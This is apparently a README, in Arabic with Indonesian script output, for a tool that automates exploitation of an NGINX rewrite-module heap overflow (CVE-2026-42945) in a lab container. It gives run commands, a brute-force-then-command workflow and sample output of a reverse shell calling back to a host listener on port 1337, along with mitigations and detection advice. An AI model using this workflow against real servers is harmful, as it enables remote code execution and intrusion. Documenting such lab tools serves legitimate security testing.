
يؤتمت استغلال CVE-2026-42945 في حاويات NGINX: يتحقق من الأهداف المعرّضة للخطر، ويجرب إزاحات الكومة بالقوة الغاشمة، وينفّذ الأوامر، ويفتح شلًا عكسيًا تفاعليًا.
مشغّل أتمتة PoC لاستغلال RCE في حاوية nginx-rift · التحقق من الهدف ← استغلال بأمر واحد ← شل عكسي تفاعلي
أمر واحد ينسّق مسار الاستغلال بالكامل — بدءًا من فحص الحاوية وحتى الوصول إلى شل.
⚠️ تحذير أخلاقي وقانوني هذه الأداة مخصصة فقط لاختبارات الأمان المشروعة والمصرّح بها — اختبارات الاختراق التعاقدية، أو بيئات المختبر/CTF، أو الأصول الخاصة. الاستخدام دون إذن مالك النظام يُعد جريمة جنائية (قانون ITE، وقانون الاحتيال وإساءة استخدام الحاسوب، إلخ). المستخدم يتحمل المسؤولية الكاملة عن استخدامه.
CVE-2026-42945 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في تكوين NGINX "Rift" — خطأ تجاوز سعة المخزن المؤقت في الكومة (heap-based buffer overflow) في الوحدة ngx_http_rewrite_module يتم استثارته عبر كتلة موقع معيّنة (/api/users/...). ونتيجة لذلك يمكن للمهاجم تنفيذ أوامر عبر معالج system() داخل الحاوية.
يحتوي هذا المستودع على مكوّنين:
| الملف | الوظيفة |
|---|---|
poc.py | محرّك الاستغلال — تخمين إزاحة الكومة، وضعان: --cmd (أمر واحد) و --shell (شل عكسي) |
scan.sh | منسّق الأتمتة — التحقق من الهدف، تشغيل PoC، التحقق من النتائج، وجلسة شل تفاعلية |
┌─────────────────────────────┐
│ scan.sh │
│ Mode: auto / cmd / shell │
└─────────────┬───────────────┘
▼
[0] Preflight
cek docker, curl, python3,
nc, timeout + poc.py ada
▼
[1] Verifikasi Target
docker ps (label compose)
→ curl /api/users/42 (HTTP 200)
▼
[2] PoC --cmd (max 3× retry)
python3 poc.py --cmd 'echo hello
from depthfirst > /tmp/pwned'
│
▼ (timeout 300s per attempt)
Verifikasi ground-truth:
docker exec cat /tmp/pwned
▼
[3] PoC --shell (opsional)
listener 172.17.0.1:1337
→ prompt /bin/sh interaktif
المشغّل (المضيف الذي يتم تنفيذ السكربت عليه):
docker (مع sudo أو مستخدم في مجموعة docker)python3 + poc.py (في نفس الدليل الذي يوجد به scan.sh)curl، وnc (netcat)، وtimeout (coreutils)الهدف (المختبر):
nginx-rift تعمل (تم تجهيزها عبر docker compose)19321 مفتوح على 127.0.0.1172.17.0.1 لمستمع المضيف)# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift
# 2. Pastikan executable
chmod +x scan.sh
# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout
يجب أن يكون scan.sh و poc.py في نفس الدليل.
./scan.sh # alur lengkap (default: auto)
./scan.sh cmd # hanya PoC single-command + verifikasi marker
./scan.sh shell # langsung reverse-shell interaktif
./scan.sh help # tampilkan bantuan
auto (الافتراضي)--cmd — كتابة العلامة hello from depthfirst إلى /tmp/pwned داخل الحاوية (إعادة محاولة تلقائية بحد أقصى 3 مرات، مهلة 300 ثانية لكل محاولة).docker exec cat /tmp/pwned على العلامة (ground-truth، وليس مجرد قراءة المخرجات).y لجلسة تفاعلية.shell./scan.sh shell
يتم تشغيل poc.py --shell مع مستمع على 172.17.0.1:1337. بعد نجاح التخمين، ستحصل على موجه /bin/sh تفاعلي بصلاحية مستخدم worker الخاص بـ NGINX داخل الحاوية.
ملاحظة: العنوان
172.17.0.1هو عنوان المضيف على جسر Docker الافتراضي. إذا كان الجسر لديك مختلفًا (docker network inspect bridge)، فغيّر المتغيرLISTEN_IPفي أعلىscan.sh.
جميع المعاملات مجمّعة في كتلة الإعدادات أعلى scan.sh:
┌──────────────────────────────────────────────────────────────┐
│ NGINX RIFT · CVE-2026-42945 · PoC Automation Driver │
└──────────────────────────────────────────────────────────────┘
── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)
── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42
── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...
[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)
[?] Lanjut ke reverse-shell interaktif? [y/N]: y
── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force
[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)
ngx_http_rewrite_module / أو أزل تكوين Rift.0.0.0.0؛ استخدم شبكة داخلية + بروكسي عكسي مع WAF.--privileged./api/users/ (أنماط غير رقمية، حمولات طويلة)، وكشف تشغيل /bin/sh من عملية nginx.CVE-2026-42945_NginxRift/
├── scan.sh # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md # Dokumentasi ini
للاستخدام القانوني فقط. هذه الأداة مخصصة لـ:
يجب أن تحصل على إذن كتابي من مالك النظام قبل تشغيل هذه الأداة على أي بنية تحتية.
المستودع مُقدَّم "كما هو" دون أي ضمان. المساهمون غير مسؤولين عن أي إساءة استخدام.
الترخيص: MIT
ngx_http_rewrite_module — التوثيق الرسمي| العنصر | التفاصيل |
|---|
| CVE | CVE-2026-42945 |
| النوع | Remote Code Execution (RCE) |
| المكوّن | NGINX (ngx_http_rewrite_module) — تكوين "Rift" |
| المحفّز | طلب إلى كتلة الموقع المعرضة للثغرة (/api/users/{id}) |
| الأثر | تنفيذ أوامر عشوائية بصلاحية مستخدم worker الخاص بـ NGINX داخل الحاوية |
| إعداد المختبر | حاوية nginx-rift-nginx-1 — منفذ المضيف 19321 |
| المتغير | الافتراضي | الوظيفة |
|---|
DOCKER | sudo docker | استبدل docker إذا كان المستخدم في مجموعة docker |
PROJECT_LABEL | com.docker.compose.project=nginx-rift | عامل تصفية لتحديد الحاوية |
CONTAINER | nginx-rift-nginx-1 | اسم الحاوية المستهدفة |
TARGET_HOST / TARGET_PORT | 127.0.0.1 / 19321 | عنوان الهدف |
LISTEN_IP / LISTEN_PORT | 172.17.0.1 / 1337 | مستمع الشل العكسي |
MARKER_FILE / MARKER_EXPECT | /tmp/pwned / hello from depthfirst | التحقق من التنفيذ |
CMD_TIMEOUT | 300 | المهلة الزمنية لكل محاولة (ثانية) |
MAX_ATTEMPTS | 3 | عدد مرات إعادة محاولة PoC --cmd |
| المشكلة | الحل |
|---|
الحاوية ... لا تعمل | cd <project-dir> && sudo docker compose up -d، ثم أعد المحاولة |
HTTP 000 / connection refused | المنفذ 19321 غير جاهز — انتظر بضع ثوانٍ، وتحقق من docker ps |
الملف 'poc.py' غير موجود | شغّل scan.sh من دليل المستودع (يجب أن يكون poc.py في نفس الدليل) |
PoC --cmd يفشل باستمرار (3×) | ارفع MAX_ATTEMPTS / CMD_TIMEOUT؛ تأكد من أن النواة وإصدار NGINX متوافقان مع المختبر |
| الشل العكسي لا يتصل | تحقق من أن LISTEN_IP يطابق الجسر (docker network inspect bridge)؛ وتأكد من أن المنفذ 1337 غير مستخدم |
خطأ unrecognized arguments | تأكد من أن إصدار poc.py يدعم العلامات --listen-ip/--listen-port (انظر python3 poc.py -h) |